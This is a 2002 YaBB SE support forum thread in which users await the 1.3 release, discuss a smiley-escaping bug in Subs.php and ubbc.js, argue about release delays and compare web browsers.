We're not going to fix the glowing smile thing, it's a very weird bug...if someone uses glowing smiles they should be shot anyway.

As for the notification in another language, I don't think it will be fixed for 1.3 :)
Title: Re:SE Future...
Post by: powergen on March 29, 2002, 09:45:38 AM
My God Tom .... where will we be in a week ???

It's best to check them all !!

Have ANY of you spotted other little errors ?????


Title: Re:SE Future...
Post by: powergen on March 29, 2002, 09:47:33 AM
Jeff, thanks !!

That's nice to hear !!

:D


And the poor little crying smiley ???


:'(

Title: Re:SE Future...
Post by: TheJkWhoSaysNi on March 29, 2002, 09:47:59 AM
Hehe, Powergen and I should be beta testers ;)

We had better check all the smilies:

:) ;) :D ;D >:( :( :o 8) ??? ::) :P :-[ :-X :-\ :-* :'(
Title: Re:SE Future...
Post by: Jeff Lewis on March 29, 2002, 09:49:06 AM
Why don't you guys post these little thing in another thread for us instead of the SE Future one?
Title: Re:SE Future...
Post by: TheJkWhoSaysNi on March 29, 2002, 09:50:42 AM
Well i was going to post in bugs, but there is no Bugs 1.3.0 forum.
Title: Re:SE Future...
Post by: Webby on March 29, 2002, 09:59:37 AM
the cry.gif is defined in Subs.php as :

:\'(

that works on my board............
Title: Re:SE Future...
Post by: powergen on March 29, 2002, 10:00:52 AM
HEY !!

Rolleyes is not there !!!

Let's try !!

::)

:'(

Title: Re:SE Future...
Post by: powergen on March 29, 2002, 10:02:48 AM
Ok, webby thanks !!!

BUT when you click on the crying smiley button ....

a code is inserted and it should be the right one, not the wrong one  !!!

:'(


The Rolleyes is there, false warning !

PFFF

:-X

Title: Re:SE Future...
Post by: Webby on March 29, 2002, 10:03:45 AM
:\'(

Well...that works ?!
Title: Re:SE Future...
Post by: powergen on March 29, 2002, 10:05:08 AM
Weird Webby ... here clicking on the crying button it gives you

1 )  :

2)   '

3)   (


All close to each other, without spaces ....


But when you look at the message .....

:'(


it's like this ....


:-[
Title: Re:SE Future...
Post by: powergen on March 29, 2002, 10:07:40 AM
Ok, so, I have understood, the button when you write a message is messed up ....

When you click on the crying smiley it gives you wrong code ....

:'(


THANKS WEBBY !!


:D
Title: Re:SE Future...
Post by: Mach8 on March 29, 2002, 10:08:18 AM
:\'(

Put a slash in and it works...

1) :
2) \
3) '
4) (
Title: Re:SE Future...
Post by: TheJkWhoSaysNi on March 29, 2002, 10:08:48 AM
no, its the correct code ":'(" its subs.php thats wrong.
Title: Re:SE Future...
Post by: powergen on March 29, 2002, 10:10:41 AM
Ohhhhhhhhhhh !!

Ok !!

Understood ... so the subs.php should be corrected .... or what ???

::)
Title: Re:SE Future...
Post by: Mach8 on March 29, 2002, 10:17:21 AM
Yep and possible the JavaScript as well :)
Title: Re:SE Future...
Post by: Webby on March 29, 2002, 10:19:39 AM
Little prob, so this could be done before the release I guess  ;D ?
Title: Re:SE Future...
Post by: powergen on March 29, 2002, 10:20:06 AM
I just noticed Jeff had written not to post here this kind of questions ....

Sorry Jeff, but I assumed the question would have make 1.3 come out late or wrong ... this is Yabb future !

:D


- ok, not anymore ....  ::)
Title: Re:SE Future...
Post by: Nemesis on March 29, 2002, 11:20:10 AM
Time to clean this thread up Jeff... I can do it for you if you want. Just set me as a mod. here and I'll have it cleaned in a jiffy.
Title: Re:SE Future...
Post by: Jeff Lewis on March 29, 2002, 11:27:36 AM
Hehe, it has become the longest and most viewed thread on the forum :)

As for the cry smiley, he worked here perfectly but we say that it started causing problems on other boards - darn thing :)
Title: Re:SE Future...
Post by: powergen on March 29, 2002, 01:08:10 PM
Thanks again Jeff .... now I think we can't ask anymore for a fast release ... can we ?

:-[


sob, sob, sob


Title: Re:SE Future...
Post by: boyzie on March 29, 2002, 01:49:24 PM
Blimey.....this could be fixed by anyone manually when the board is installed,this is nit picking.... >:(
Title: Re:SE Future...
Post by: powergen on March 29, 2002, 05:13:00 PM
Silence ... no more posts ....

Quite enviroment ... ok ... what are they doing .... compiling ?
writing ?
correcting ?
beta-testing ?
drinking ?
sleeping ?

Anyway, I strongly believe the crying smiley is a matter of minutes for you guys !!!

Wherever you go, I'm with you !! GO, WORK HARD, DESTROY EVERYTHING, ALL OPPONENTS, DEVASTATE !!!

1.3 will be out and will kick ass !!!!

;D


Title: Re:SE Future...
Post by: Jeff Lewis on March 29, 2002, 05:23:04 PM
I've been spending my day off with my son and playing the game I posted about in Chit Chat ( http://www.lineage-us.com )
Title: Re:SE Future...
Post by: powergen on March 29, 2002, 07:11:41 PM
EHheehe, thanks Jeff !!

You really have a son .... ohhhhhhhhh :D

COOOOL !!

But let's turn back to Yabb SE's future  ..... since I was telling you that ......... ... .. ..

;)
Title: Re:SE Future...
Post by: Jeff Lewis on March 29, 2002, 07:26:09 PM
Yes he is 6.  
Title: Re:SE Future...
Post by: Webby on March 29, 2002, 07:30:31 PM
[also offtopic]

Will the cry-bug be solved in the release ?

[/offtopic]

My eldest is almost 6  ;)
Title: Re:SE Future...
Post by: juise on March 29, 2002, 07:31:08 PM

Yes he is 6.  

and coding  ;D
Title: Re:SE Future...
Post by: powergen on March 29, 2002, 08:35:27 PM
Woowww you are all fathers here ....

I'm just a uni student ...  :D

But I like children !!


Coding? Well .. if he can help in the "Crying smiley" issue ... well .... please help !!!

Thanks Jeff ... this is sheding some light on you !!


... yeah ... of course ... you remain THE unpredictable one ....

 ;D

Title: Re:SE Future...
Post by: Daniel D. on March 29, 2002, 08:43:31 PM
Will the cry-bug be solved in the release ?


No, it won't change, but you can repair it yourself. You just have to change the "sign" which will be entered instead of the picture in the ubbc.js. You can change it to :\\'( and the smiley works. But it'll look kinda strange to the users - it's up to you (or type
Code: [Select]
:\'( in your message)... :\'(
Title: Re:SE Future...
Post by: phark on March 29, 2002, 11:19:39 PM
Hello everyone!   :)

Don't know how much more Wolfenstein I can play while waiting for 1.3...  I was going to convert and move everything to my other domain at 6am tomorrow, but I let everyone know that it has been moved back a week.  

Think it will be released before next weekend?  ;D
Title: Re:SE Future...
Post by: Nemesis on March 29, 2002, 11:59:42 PM
It be out when it is ready, could be a day could be a week, could be a month. Just be patient and good things will happen.  ;)
Title: Re:SE Future...
Post by: Krip730 on March 30, 2002, 02:04:35 AM
now is when we need to find that post where i called jeff unpredictable !

searching searching.....  found it !


bradst i suggest you don't hold your breath for YaBB SE 1.3.0 as you never know when they may release it...

it may take them another month or two but they tell us they are really really close...

or they tell us that it is way off but looks promising... then they release it like 24 hours later...

with people as unpredictable as Jeff on the team who knows...

My guess is that it will be out within a fortnight... but like i said that is just an uneducated guess going on a gut feeling...

the reason why they don't set dates is because if something happens along the the line and the release date is pushed forwared they will cop alot abuse...  it also adds stress to the developers and right now i don't think they need anymore of that.

so yeah keep breathing and just keep checking back.


^
^
^
^
^
^
;D Now looking at that I posted that on March the 8th...  so as you can see if you are holding your breath please don't..... and if you pass out, faont and hit your head on the floor and cause severe spinal damage do not try to sue YaBB and its employees, as their liability contract does not cover you for your own misfortune...

so what i'm trying to say is that nobody (except the adminsand developers) know when YaBB will be released... and even the head admins do not know a final date i would be guessing, they would have a rough idea perhaps but if something went wrong they would be encouraging false hope... so thus we sit tight.

whenever it is released my guess is that it is goign to be bl00dy awsome as it has been a while since a release... thus alot more time to iron out bugs and add new features and improve the code (im just sh1tting on here i have no idea about code).

So untill then make good use of YaBB SE 1.1.0 and add the patches that are updated in the bugs forum (http://www.yabb.info/community/index.php?board=154).

And remember... no one is as unpredictable as Jeff...  ;D


oh and i made a little song to....

I love YaBB...
YaBB loves me...
We are going to build one great community...

later....

- Krip730
Title: Re:SE Future...
Post by: powergen on March 30, 2002, 04:42:32 AM
HEY KRIP !!!

I'm powergen !! It rocks we meet us here !!

Network Forums has been a house for me for two months !!

:D

We are all here waiting to jump on the brand new 1.3 bandwagon ....


;D


Up with Yabb SE !!! Up with Network Forums !!!

:D

Title: Re:SE Future...
Post by: powergen on March 30, 2002, 05:54:02 AM
I was thinking about the fact that the crying smiley won't be fully ok in 1.3 by default ...

... this means they are really close to the release ... I'm happy about it !!

Anyway ... just thinking also about me spotting this very stupid bug .... so easy but so annoying ...

Why a forum is so hard to code ....

Hard world ....

:-[

Title: Re:SE Future...
Post by: Krip730 on March 30, 2002, 06:51:21 AM
hey powergen...

of all places for us to meet !

you on the Network Forums senior board ?  GK retired as admin after so so long so now there is a bit of a shake up and my work load has gone through the roof... but hey nForums must keep going...

every1 on the board is buggin' me do this do that... im going to wait 4 the new release of YaBB before i make any more modifications to it...
Title: Re:SE Future...
Post by: powergen on March 30, 2002, 08:29:41 AM
Yes, I'm that powergen !!!

GK retired ??? My God !!  :/'(


Yeah, wise choice ... wait for this next release even if apparently it won't have the correct crying smiley by default ...

... eheheh ... they say it will have a lot of more features !!

Honestly I can give up on the crying smiley after all ....

;)




Title: Re:SE Future...
Post by: powergen on March 30, 2002, 08:33:23 AM
As you can see in my post above ... the crying smiley with 4 keys is really hard to remember .....


:)
Title: Re:SE Future...
Post by: Jeff Lewis on March 30, 2002, 08:37:08 AM
Yeah yeah leave me alone :)  The beta testers just found some bugs, that and Joseph and I are both working on other things too.
Title: Re:SE Future...
Post by: Andreas on March 30, 2002, 08:56:53 AM
hi
i know, everything need time... but i made a new homepage 4 weeks ago, and i need a forum for my page. i want to install yabb se 1.3.0. and i am waiting for it.

but, i can wait, that is no problem, but i can't wait 1 or 2 month longer now.. :( When the release comes in some days, or a week... then  i will wait.. but if the release will earliest in a month... then i must look what i do...

Can any admin say, when its planed that the board release?

i understand, that any bug must fix.. and i know what many work you do on that forum. but for me is the information about the release date very important.

thank

andreas
Title: Re:SE Future...
Post by: Jeff Lewis on March 30, 2002, 09:04:53 AM
Joseph just posted a day or two ago that we're very close, I've said we're very close...so...we're very close :)
Title: Re:SE Future...
Post by: Andreas on March 30, 2002, 09:17:21 AM
:) thx for the information! :)

eastern with YaBB SE *g* :)
Title: Re:SE Future...
Post by: powergen on March 30, 2002, 10:25:06 AM
Thank Jeff !!!!

:D

Title: Re:SE Future...
Post by: Koth on March 30, 2002, 11:26:15 AM

Joseph just posted a day or two ago that we're very close, I've said we're very close...so...we're very close :)


/me scratches head.   Umm yeah thanks Jeff... I think.



;)
Title: Re:SE Future...
Post by: phark on March 30, 2002, 05:47:58 PM
*pin drop*
::)
Title: Re:SE Future...
Post by: kurgan on March 30, 2002, 08:01:44 PM
well who care my current board works ok, and if it will only give me a good excuse for delaying my calendar mod  ;D
Title: Re:SE Future...
Post by: Krip730 on March 31, 2002, 03:52:22 AM

well who care my current board works ok, and if it will only give me a good excuse for delaying my calendar mod  ;D


lol... shifting the blame i see...
Title: Re:SE Future...
Post by: TheJkWhoSaysNi on March 31, 2002, 05:54:49 AM


Joseph just posted a day or two ago that we're very close, I've said we're very close...so...we're very close :)


/me scratches head.   Umm yeah thanks Jeff... I think.



;)


is the wink smilie not working now?

;)
Title: Re:SE Future...
Post by: henry_s on March 31, 2002, 01:01:10 PM
hmmph...its going to be released tomorrow (April Fools) isn't it?  >:( Im going to give up and install the proper orginal YaBB....they don't joke around..
Title: Re:SE Future...
Post by: Mach8 on March 31, 2002, 01:16:45 PM
Woah... chill man!  ;D

There's no joking involved, the developers simply want the new version to be as bug-free as possible... the longer you wait, the better the end-product will be. If you think that's a joke, then **** off to Y1G. I think you'll find they follow the same system too, quality releases and not rushed rubbish.
Title: Re:SE Future...
Post by: Krip730 on March 31, 2002, 04:39:00 PM

hmmph...its going to be released tomorrow (April Fools) isn't it?  >:( Im going to give up and install the proper orginal YaBB....they don't joke around..


you think by insulting them you are going to get anywhere ?  atleast be a little more creative with your insults in that case because sh1t like "they don't joke around" makes us laugh at how immature and small minded you are about what needs to be done before a release.

It is people like you that push and push to get it released... then when they rush a release and your whole forum comes CRASHING down ontop of your head you come back here b1tch1n' that the developers scr3w3d up...

and I wish you luck with Y1G... i really do... because what you are forgetting is that the majority of us have already used it and that is why we are here now, because hosts are deleting accounts with Y1G...  unless of course you don't have a very successful website and your board is really really small etc etc... then you shouldn't have any problem running Y1G  ;D
Title: Re:SE Future...
Post by: Krip730 on March 31, 2002, 04:41:13 PM

Woah... chill man!  ;D

There's no joking involved, the developers simply want the new version to be as bug-free as possible... the longer you wait, the better the end-product will be. If you think that's a joke, then **** off to Y1G. I think you'll find they follow the same system too, quality releases and not rushed rubbish.


let him go... the moement his site gets more then 1000 hiits a day to the board... he will come come crawling back from the depths of his web-hosts recycling bin... on his knees too may i add  :D
Title: Re:SE Future...
Post by: Hypocrite on March 31, 2002, 04:48:03 PM
This whole 1.3.0 release thing reminds me a bit about bands changing their style. You can't please everyone. If you release the YaBB board now with maybe a few bugs someone will soon come bitching that you released it too soon with bugs in it. Now if you don't release it just yet people still bitch about it. Same with bands, if they change their style people bitch that they sold out, if they don't change it people bitch that they don't evolve at all.

Wouldn't want to be a band member or a board developer in that situation :D
Title: Re:SE Future...
Post by: powergen on March 31, 2002, 05:18:43 PM
I don't know ...

You guys are certainly right ....
... but the problem is that a lot of people are waiting ... a lot of anxiousness is in the air ... and I guess it was not created by us, the users ....

It would be good not to disclose at all the development status ... and just release when you are ready and bug-free ....

But here the story is different ... this is a forum and a family ... they have been telling us they were almost ready for a long time now ....

I know it's better bug-free of course ... but the real thing is that anyone that develops software has to keep in mind the debugging time ...

When you say "ok, from this time on, no more new features, we'll debug" ... you can't stay a life on it ....

My guess is that more and more features have been added also in this very last period .... this just wanting the product to be better, just for us ( you are so nice, no pun intended !! ) but in the end .... more features, more bugs and more bugs, more time to take to take them out !!


Jeff .... my thought is ....  no more new features until those bugs are out ....

How can I add featured to a code that has even one or two bugs ???

You are and remain great though !!!!


:D

PS - if the story of the features adding was wrong, please forgive me ....  ::)

Title: Re:SE Future...
Post by: phark on March 31, 2002, 05:35:28 PM
hmmph...its going to be released tomorrow (April Fools) isn't it?  >:( Im going to give up and install the proper orginal YaBB....they don't joke around..

Sorry to hear you're giving up on the team.  I wish you luck.  ::)

I myself have been waiting for this also.  I have bought another domain and paid for another host to put SE on because I realize that with future growth, SP1 will not do.  Even with my small user base (135) and 1000 messages, I still noticed things were getting slower.  So I am planning for the future.  You don't go and buy a two-seat convertable when you wife is 8 months pregnant (unless you want to be single, haha), do you?  Let alone a convertable that has never been tested!

But you know what?  There is no reason to get hostle...  I'm not... no reason to!  The world is still spinning and the sun is going to come out tomorrow (joy  ;D)!!!!!

So in closing, go if you must but always go smiling!!

phark!

Title: Re:SE Future...
Post by: Zippo on March 31, 2002, 05:42:17 PM
Round of applause for Phark :)


That post says it all ;)
Title: Re:SE Future...
Post by: Jeff Lewis on March 31, 2002, 05:57:03 PM
Hehe we're NOT adding more features.  Our crack beta testing team just keeps finding little things here and there.  I was pretty sure we were going to release on Friday but something popped up.

So we're nearly there.  Then, this weekend is Easter.  Contrary to what some may think, we DO have families ;)
Title: Re:SE Future...
Post by: kurgan on March 31, 2002, 06:02:28 PM
well having a family and actually spending time with them is two entirely different things  ;D  ;D

ok lets see if this cry thing works..  :'(  mmmm?
Title: Re:SE Future...
Post by: phark on March 31, 2002, 06:15:20 PM

Round of applause for Phark :)


That post says it all ;)


Thanks Zippo.  BTW, how did you make that message scroll?  I don't feel like looking at the source to find it.   ;D
Title: Re:SE Future...
Post by: kurgan on March 31, 2002, 06:22:15 PM
a 'marquee' IE-only tag..

to be honest I personally think that all non standard tags should be removed, as far as I know, 'glow' 'dropshadow' etc. are nonstandard tags. The results of these are only viewable in IE on winblowz.
Title: Re:SE Future...
Post by: phark on March 31, 2002, 07:35:40 PM

a 'marquee' IE-only tag..

to be honest I personally think that all non standard tags should be removed, as far as I know, 'glow' 'dropshadow' etc. are nonstandard tags. The results of these are only viewable in IE on winblowz.


Well, thats not to big of a deal... what other browsers are that popular?  I mean, I used to swear by Opera, before money became more important than a quality product.  I left Netscrape years ago (to many memory leaks).

Mar 27 - 11:54 PM ET According to the latest numbers released Wednesday by WebSideStory's StatMarket, Microsoft's Internet Explorer 6.0 has captured a 30 percent market share just seven months after its release - sending Netscape's usage plummeting to an all-time low of 7 percent. Netscape had previously held 12 percent of the browser market for over a year. IE 6 is now the second most-used browser in the world, only sitting behind predecessor IE 5. "The fast adoption rate for IE 6 has been a definite threat to Netscape's usage share," said StatMarket vice president of marketing Geoff Johnston in a statement.

phark!
:o
Title: Re:SE Future...
Post by: BruceWillis on March 31, 2002, 07:42:53 PM
Hey Jeff,

Dis is da mouse speakin'.
Dis is me, yeah da one you sez you don' like.
Hey whoa man, what is dat? what I do to you man?
Eh? What I do?

Hey  Jeff,
I'm tired of doin' all da woik, running up and down da page.
I want you should do what Bruce Willis sez man, put a friggin'  "next previous" near da foot of da page.
Bruce Willis is asleep, I cracked his passwoid.
It was easy. Ha!. Da bum puts in "sexybroad69".
AS if mice would do dat..

Do it Jeff, previous next, or Bruce gets it : concrete pajamas.
An I'll stop lickin' all da plates in your kitchen for you.
Sheesh, what ingratitude...

Da Mouse.
http://stopworldwar3.net
Title: Re:SE Future...
Post by: kurgan on March 31, 2002, 08:21:48 PM
a 'marquee' IE-only tag..

to be honest I personally think that all non standard tags should be removed, as far as I know, 'glow' 'dropshadow' etc. are nonstandard tags. The results of these are only viewable in IE on winblowz.

Well, thats not to big of a deal... what other browsers are that popular?  I mean, I used to swear by Opera, before money became more important than a quality product.  I left Netscrape years ago (to many memory leaks).

Mar 27 - 11:54 PM ET According to the latest numbers released Wednesday by WebSideStory's StatMarket, Microsoft's Internet Explorer 6.0 has captured a 30 percent market share just seven months after its release - sending Netscape's usage plummeting to an all-time low of 7 percent. Netscape had previously held 12 percent of the browser market for over a year. IE 6 is now the second most-used browser in the world, only sitting behind predecessor IE 5. "The fast adoption rate for IE 6 has been a definite threat to Netscape's usage share," said StatMarket vice president of marketing Geoff Johnston in a statement.

phark!
 :o


well Im a happy IRIX and Linux user, I also happen to use w2k when Im forced by morons thinking that word/excel documents can be opened by anyone anywhere, and thus emails it to me..
Im quite pleased with mozilla (and n6 for that matter) the only time I start ie, is when I have to validate if a webpage work on that piece of junk too... as for opera, yes it is nice and fast but its too buggy, doesnt comply to w3c standards which is a pain (btw. if you liked opera, then you shuld have a look at mozilla 0.99 it has tabbed browsing built-in I love it! middlemousebutton clicking on a link will open it up in the background in a tab)

Ive also used Konquror a few times, and galeon, both are pretty ok, but I stick with mozilla.

In fact I havent experienced any memory leaks with mozilla for a few releases so when it hits 1.0 it should be rock solid
Title: Re:SE Future...
Post by: Jeff Lewis on March 31, 2002, 08:23:44 PM
Heh I stopped using Netscape when I worked for Nortel when I was...hmm...I think I was 18 or 19 back then.  Maybe 20.
Title: Re:SE Future...
Post by: kurgan on March 31, 2002, 08:28:33 PM
you cant really compare the old 4.7x series with the new mozilla (and for your case I guess it must have been N2 ?)

the new Gecko layout engine if fast and is the only one that to my knowlegde complies to w3c standards.

You really should give it a chance if you havent tried it

you can ofcourse download it at http://www.mozilla.org/ even though its essentially beta code with debugging info inside it runs very fast,, and is extremely stable.

Oh yes btw. with netscape virus seems to be much less of a problem  8)
Title: Re:SE Future...
Post by: Shoeb Omar on March 31, 2002, 08:45:44 PM
well.. i checked out the new netscape and it really still isnt near the level of ie6  :-\

i think its a little too little a little too late ... bye bye netscape. time to die ;)
Title: Re:SE Future...
Post by: phark on March 31, 2002, 08:47:52 PM
I learned about Opera and bought the registered version back when they were at 4.0... I loved it!  It was fast, could emulate (pretty well) the other browsers and didn't have to many bugs.

When 5.0 came out, it was okay, but had more bugs and it seemed that they were selling out to advertisers.  I tried 6.0 and deleted it the same day, I think.  

I did try Mozilla a month ago or so... it was okay, about as fast as IE, but I really didn't see any benefits of it at that time.  Who knows, I probably will try it again when it gets a little older.

Netscape, I did install that not to long ago to test out some webpages, then deleted it.  I guess my biggest problem with them now is the fact that AOL ownes them, and I despise AOL.  Everything AOL touchs becomes bloated with advertisments (look at ICQ these days).  

My biggest problem with IE is the way it loads Messanger all the time.  Such as this web site...  I do *NOT* want Messanger starting up everytime I hit a web page that calls it.  I use Trillian... great program.  It supports ICQ, MSN, AIM and Yahoo messanger all in one program (It uses about 10MB of RAM) vs. 40MB that running those other four programs take running individually.  

The other problem I have with IE is the fact that it is owned my MS and is the most popular browser, thus, more hackers are concentrating on finding security holes in this browser than any other.  :(  Other than that, its a stable browser.

phark!
;D
Title: Re:SE Future...
Post by: phark on March 31, 2002, 08:49:01 PM

well.. i checked out the new netscape and it really still isnt near the level of ie6  :-\

i think its a little too little a little too late ... bye bye netscape. time to die ;)


Amen!  Can I get an Amen brothers!   :D

To bad AOL had to destroy that organization.
Title: Re:SE Future...
Post by: Shoeb Omar on March 31, 2002, 08:51:03 PM
Quote
My biggest problem with IE is the way it loads Messanger all the time.  Such as this web site...  I do *NOT* want Messanger starting up everytime I hit a web page that calls it.  I use Trillian... great program.  It supports ICQ, MSN, AIM and Yahoo messanger all in one program (It uses about 10MB of RAM) vs. 40MB that running those other four programs take running individually.  


amen! ;D
Title: Re:SE Future...
Post by: powergen on March 31, 2002, 08:57:21 PM
Let's see ....

Jeff, thanks for your answer (how many time will I say this ??)
So, we are really close, wooww !!


For the Netscape and IE issue ... I really stopped using Netscape when I realized it was not that much compatible with Win ....

A lot of probs were there and IE just ran smooth ... even if early versions were buggy too and after launched they just became slower and slower while browsing the net ....

Now IE 6 rocks ... I know ... it can be hard for those that want to stand out ... to use this browser ... but it's good.... you can always put some other skins ...


Jeff you really worked for Nortel back when you were 18/19/20 ?? You are a genius !!


hheheh, ok, will 1.3 come out sooner if I continue saying nice things ???

;D



Title: Re:SE Future...
Post by: Shoeb Omar on March 31, 2002, 08:58:59 PM
lmao ;D
Title: Re:SE Future...
Post by: kurgan on March 31, 2002, 09:02:17 PM



My biggest problem with IE is the way it loads Messanger all the time.  Such as this web site...  I do *NOT* want Messanger starting up everytime I hit a web page that calls it.  I use Trillian... great program.  It supports ICQ, MSN, AIM and Yahoo messanger all in one program (It uses about 10MB of RAM) vs. 40MB that running those other four programs take running individually.  

phark!
;D


well you can select to not install the messenger thingie, personally I use ICQ and nothing else, actually Im using gnomeIcu which works beautifully  ;D
Title: Re:SE Future...
Post by: kurgan on March 31, 2002, 09:07:32 PM
I guess that this just shows that everybody on this board uses winblowz, fair enough I just try not to, Im very happy with Linux, and by the end of this month gnome2, Suse 8.0, KDE3.0 etc. gets released, oh yeah btw. Maya 4.5 and Shake 2.5 is just around the corner too, both apps running smoothly on Linux (actually Shake is no longer available for wblowz  :D  )

Btw. Maya and Shake are the apps I use for a living, that is when Im not haning around on this board  ;D
Title: Re:SE Future...
Post by: Jeff Lewis on March 31, 2002, 09:14:19 PM

Jeff you really worked for Nortel back when you were 18/19/20 ?? You are a genius !!



Hardly :)  I worked with remote access users and some programming systems :)
Title: Re:SE Future...
Post by: Purple Raine on March 31, 2002, 09:23:04 PM
I, like the rest of you have been waiting for a long time for 1.3.0 ... but I don't think it's our place to complain for waiting... heck, they're doing this FOR FREE!  

So, give them a break... it's Easter for Christ's sake!

My board has a whole bunch of bugs (my doing) and I can wait (barely =)...

now regarding the browsers... I gave up on Netscape when AOL took over (too much extra baggage), kinda like what IE does with Messenger and all the other stuff ... Opera / Mosaic, never tried... may do so though...

I also use Trillian (although it seems to be dysfunctional... ICQ and MSN both work better on their own, but I just don't want to turn on so many programs (even with 512 DDR RAM it still isn't enough, Winblows, anyway)....

I think I've touched up on everything =)... eagerly awaiting 1.3.0
Title: Re:SE Future...
Post by: phark on March 31, 2002, 10:09:35 PM
Quote

well you can select to not install the messenger thingie, personally I use ICQ and nothing else, actually Im using gnomeIcu which works beautifully  ;D


The easiest way is actually to rename the msmgs.exe file to something else.  But I prefer not to do that, yet than again, I do not want it forced on me everytime I log onto a YaBB site.  That is the reason I never installed the MSN mod onto my SP1 site.  I think it is really intrusive.   ;D
Title: Re:SE Future...
Post by: CrimSon_ReD on April 01, 2002, 02:25:31 AM
Well I have been going for over 3 months with any IM service due to bugs but stll I await anxiously!

Hoping I dont have to go backwards and re-install SP1.

I love SE, But damn theres tons of new mods for sp1.
Title: Re:SE Future...
Post by: Koth on April 01, 2002, 04:57:13 AM

Well I have been going for over 3 months with any IM service due to bugs but stll I await anxiously!

Hoping I dont have to go backwards and re-install SP1.

I love SE, But damn theres tons of new mods for sp1.



SP1 has been out for Yonks, plus SE comes with lots of pre installed mods and you dont have to worry about inter compatability.

CR if you really wish to take a step backwards then good luck but this attitude of I want it all I want it now and I want it for free is damm selfish.

Jeff  Joseph and the others have REAL LIVES too, remember this is a FREE (read YOU DONT PAY A DAMM THING) proggy.

So just get a cuppa have some patience and help the community and thus the software GROW.

Title: Re:SE Future...
Post by: henry_s on April 01, 2002, 05:12:23 AM
Well I have been going for over 3 months with any IM service due to bugs but stll I await anxiously!

Hoping I dont have to go backwards and re-install SP1.

I love SE, But damn theres tons of new mods for sp1.


SP1 has been out for Yonks, plus SE comes with lots of pre installed mods and you dont have to worry about inter compatability.

CR if you really wish to take a step backwards then good luck but this attitude of I want it all I want it now and I want it for free is damm selfish.

Jeff  Joseph and the others have REAL LIVES too, remember this is a FREE (read YOU DONT PAY A DAMM THING) proggy.

So just get a cuppa have some patience and help the community and thus the software GROW.



It may be free but just look at how long this "just a few more bugs" and "it is packaged and ready to go for a release tomorrow" thing has been going on.

I agree with you that it is free and so forth but this has gone on for months.

DONT GIVE US FALSE HOPE PLEASE!

I reckon this thread should have never been started until about 3 days until the final planned release. Because look whats happening now, people are running out of patience, and rightly so.

Edit: If this sort of thing carries on, YaBB SE does not have a future. First rule: The customer is always right and 2) Do not play around with customers as far as "it may be out tomorrow" type thing.
Title: Re:SE Future...
Post by: kurgan on April 01, 2002, 05:26:50 AM
whats the big deal?

just install 1.1 it runs really well, sure there might be some goodies in 1.3 but 1.1 works just fine, and when its released you can just upgrade..
Title: Re:SE Future...
Post by: Mach8 on April 01, 2002, 05:41:56 AM
henry_s:

Who the **** do you think you are?

Quote

Edit: If this sort of thing carries on, YaBB SE does not have a future. First rule: The customer is always right and 2) Do not play around with customers as far as "it may be out tomorrow" type thing.


Er... everyone else here is patient, knowing that YaBB SE will be released soon and will be a much better release than previous versions... there's no "playing around" involved. And how can you say YaBB SE has no future? You seriously need to take a hike.
Title: Re:SE Future...
Post by: henry_s on April 01, 2002, 05:48:33 AM

henry_s:

Who the **** do you think you are?


Me, Im just someone that has been waiting for this release since January, sitting in the background, waiting and waiting and is finally giving up and showing other people what I think. Thats who I am, who are you?
Title: Re:SE Future...
Post by: phark on April 01, 2002, 05:56:29 AM


henry_s:

Who the **** do you think you are?


Me, Im just someone that has been waiting for this release since January, sitting in the background, waiting and waiting and is finally giving up and showing other people what I think. Thats who I am, who are you?


I'm a llama!!!   ;D  I smiling llama
Title: Re:SE Future...
Post by: juise on April 01, 2002, 05:59:30 AM
henry_s:
Why dont you pay for another BB, so you dont have to cry here  ::)
 
Title: Re:SE Future...
Post by: Mach8 on April 01, 2002, 05:59:36 AM
Fine. Just don't whinge here...
Title: Re:SE Future...
Post by: Jeff Lewis on April 01, 2002, 07:44:38 AM
The customer is always right...usually.  Those damn paying customers.  That situation is with paying customers and paid employees.

Besides, this happened several times at the Perl version, there were many times when we had to push things back.

It happens, get over it.
Title: Re:SE Future...
Post by: powergen on April 01, 2002, 07:46:53 AM
Come on guys .... I understand you all ....

Not anyone has the patience we have .... if henry has it not ... he cannot be blamed ....

You know ... we always ask Jeff and Joseph for dates for the release ... they are so nice to hint us .... maybe they are wrong ... we await .. and then when something is wrong ( not their fault ) ... we get stressed ....

Henry, my tip is to relax, just come here once per week and check ... in the meanwhile just install 1.1 and be happy !

Anyway I must admit I'm a bit stressed too ....

::)

:-\

Title: Re:SE Future...
Post by: powergen on April 01, 2002, 07:54:07 AM
May I ask you one thing ??

Is it my browser or all animation in the board are off ??

Jeff's monster is just stuck ... the smileies don't animate ....

Do not want to alarm anybody .... just want to know it's my fault or not ....

Let me know ...

Title: Re:SE Future...
Post by: phark on April 01, 2002, 08:02:25 AM

May I ask you one thing ??

Is it my browser or all animation in the board are off ??

Jeff's monster is just stuck ... the smileies don't animate ....

Do not want to alarm anybody .... just want to know it's my fault or not ....

Let me know ...


They all work on my browser...   :-\
Title: Re:SE Future...
Post by: Jeff Lewis on April 01, 2002, 08:10:06 AM
They work in my browsers as well (home and work).

As for release, sometimes things come up, we have some very good beta testers who seem to find everything - which is good :)
Title: Re:SE Future...
Post by: phark on April 01, 2002, 08:28:31 AM
As for release, sometimes things come up, we have some very good beta testers who seem to find everything - which is good :)


Glad to hear you have good Beta testers.  I was a Beta tester for Renegade & Telegard BBS software.  Did anyone ever use that back in the 80's or am I just old?   I used to make some kick-butt ANSI graphics, too!  :P  hehe

I remember all the bugs we would find in that software... those where the days.  I had a two-node BBS for years, one node 9600 baud and the other a 2400.  

Wow... what was I originally going to say?  Sorry...

The more bugs the Beta testers can find now, the less we have to deal with on our own.  
Title: Re:SE Future...
Post by: Andreas on April 01, 2002, 08:37:27 AM
Yes. nice to hear, that the beta testers doing a great job! :)

A Forum with no bugs is great! :) But you know, i need a forum *g*, and now i ask you...

If you say.. that the release of the Version 1.3.0 is not today... or tomorrow, i will install the old 1.0.0 version from the board, and upgrade if the new one is out. :)

Please give me informations! *g* :)
Title: Re:SE Future...
Post by: Jeff Lewis on April 01, 2002, 08:37:45 AM
I used Renegade.  I was 14-16 and loved the free downloads ;)
Title: Re:SE Future...
Post by: Andreas on April 01, 2002, 09:00:24 AM
Hehe.. i postet with Jeff Lewis together! *g* Read my text before yours :)
Title: Re:SE Future...
Post by: Joseph Fung on April 01, 2002, 09:10:44 AM
I'd love to release today, but Jeff is doing work before getting to the upgrade script - sheesh - get your priorities straight  ;D

LOL as I'm writing this, Jeff and I are working on getting out a few kinks in the upgrade version.


In actuallity, all the major bugs have been fixed.  We're just solving the following couple problems:

a) i messed up an if statement - it's fixed
b) I put the wrong english.lng file in the upgrader - fixed
